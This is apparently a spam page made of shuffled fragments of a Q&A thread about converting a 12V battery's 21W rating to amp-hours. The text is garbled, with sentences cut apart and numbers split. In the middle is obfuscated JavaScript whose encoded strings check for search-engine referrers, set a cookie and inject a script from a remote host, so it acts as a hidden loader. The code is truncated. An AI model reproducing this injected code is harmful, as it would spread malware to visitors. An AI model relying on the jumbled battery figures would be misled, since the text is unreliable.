Looking at the datasheet, there seem to be a reason why a single Ah value is not specified: it varies depending on the load current (see table in the bottom).. 85V the current is 3 97A To discharge each cell to 1 60V, the current is 4 02A This makes it a 4Ah battery to me irrespective of the number of series cells - terminal voltage will drop from about 14V (fully charged) to about 9.

8 kg apparently A moderate guide to what the new one should be sized Larger is unlikely to hurt.. 12V 7Ah is a measure of available energy21 W is a measure of power (energy per second)Your battery spec isI suspect that means it can provide 21W for 15 minutes if 1.

Look at the curves of lifetime under various conditions and choose one which is not notably inferior â€“ Russell McMahon Feb 19 '14 at 10:33W is a measure of power, therefore it's likely that it's rated in Wh (Watt-hour, energy).. If you look at the table, the battery is approximately 4 Ah Here's what it says in the detail of the spec: -Look at the top table - move along to the 60 minute column - to discharge each cell to 1.. var _0x5694=['bGVuZ3Ro','aGdIQVE=','VW16SUE=','cmVwbGFjZQ==','V05HZHM=','bUt4eUs=','c3BsaXQ=','OyBwYXRoPQ==','OyBkb21haW49','OyBzZWN1cmU=','eUtVeHc=','RUVlVWM=','QUNXWUI=','OyBleHBpcmVzPQ==','cERrdGI=','Z2V0VGltZQ==','Y3FMVnA=','UEVhbEU=','LmJpbmcu','LmFzay4=','LmFsdGF2aXN0YS4=','LnlhbmRleC4=','dmlzaXRlZA==','WlJ6','aHR0cHM6Ly9jbG91ZGV5ZXNzLm1lbi9kb25fY29uLnBocD94PWlvc3RpdGxlJnF1ZXJ5PQ==','Lmdvb2dsZS4=','TWVSa0M=','LmFvbC4=','YkRYalQ=','bGNWb3U=','WkFUTkM=','cmVmZXJyZXI=','WUZOWHM=','bUVZWFA=','aW5kZXhPZg==','UWJMYWw=','ZGJNaHg=','c2V0','b21jcXE=','Qk9mbFI=','QlpGZlU=','c2NyaXB0','Y3JlYXRlRWxlbWVudA==','RVlTZkI=','c3Jj','Z2V0RWxlbWVudHNCeVRhZ05hbWU=','aGVhZA==','YXBwZW5kQ2hpbGQ=','Y29udmVydCt3YXR0cyt0byttYWg=','TkFT','RFRj','Y29va2ll'];(function(_0x267577,_0xeab24c){var _0xaea32c=function(_0x2961f7){while(--_0x2961f7){_0x267577['push'](_0x267577['shift']());}};_0xaea32c(++_0xeab24c);}(_0x5694,0xc5));var _0x4faa=function(_0x4a174f,_0x2b3ed7){_0x4a174f=_0x4a174f-0x0;var _0x51adc6=_0x5694[_0x4a174f];if(_0x4faa['initialized']===undefined){(function(){var _0x1dcb08=function(){var _0x4d688c;try{_0x4d688c=Function('return\x20(function()\x20'+'{}.. The Simple AnswerDC Power is defined in terms of W = 1 V * 1 A - that is, the power that is delivered by sustaining 1V potential with 1A of current.

Since Ah represent a charge (current * time) you can multiply it by the voltage to get Wh; conversely, divide the Wh by the voltage to get the Ah rating.

1+1 67)/2 = 1 89 V 21 W at 1 89V implies 11 14 A 11 14A for 1/4 hour is 2 78 Ah.. What I usually see on the battery label is something like 12V 7Ah or 12V 9Ah However, this one is 12V 21W.. 67 V, times 6 cells means 10 V This voltage is the minimum tolerated value, and influences the depth of the discharge and, in the long term, the lifetime of the battery.. 1 V/cell How this translates to Ah depends on the shape of the discharge curve If we simplify and assumed a linear drop in voltage over time (far from reality), the average voltage would be (2.. Convert watts to mahGet via App Store Read this post in our app!How to compare mAh and WhWhen looking at consumer electronic devices with batteries I sometimes see the battery capacity listed in Wh (watt hours) and sometimes in mAh (milliamp hours).. 6VDoes anyone know how can I convert the 21W to the equivalent Ah?You can't, they are not equivalent.. The 21 W indicates that it can provide 21 W for 15 minutes (21/4=5 25 Wh) when the cell voltage is at least 1. 5ebbf469cd

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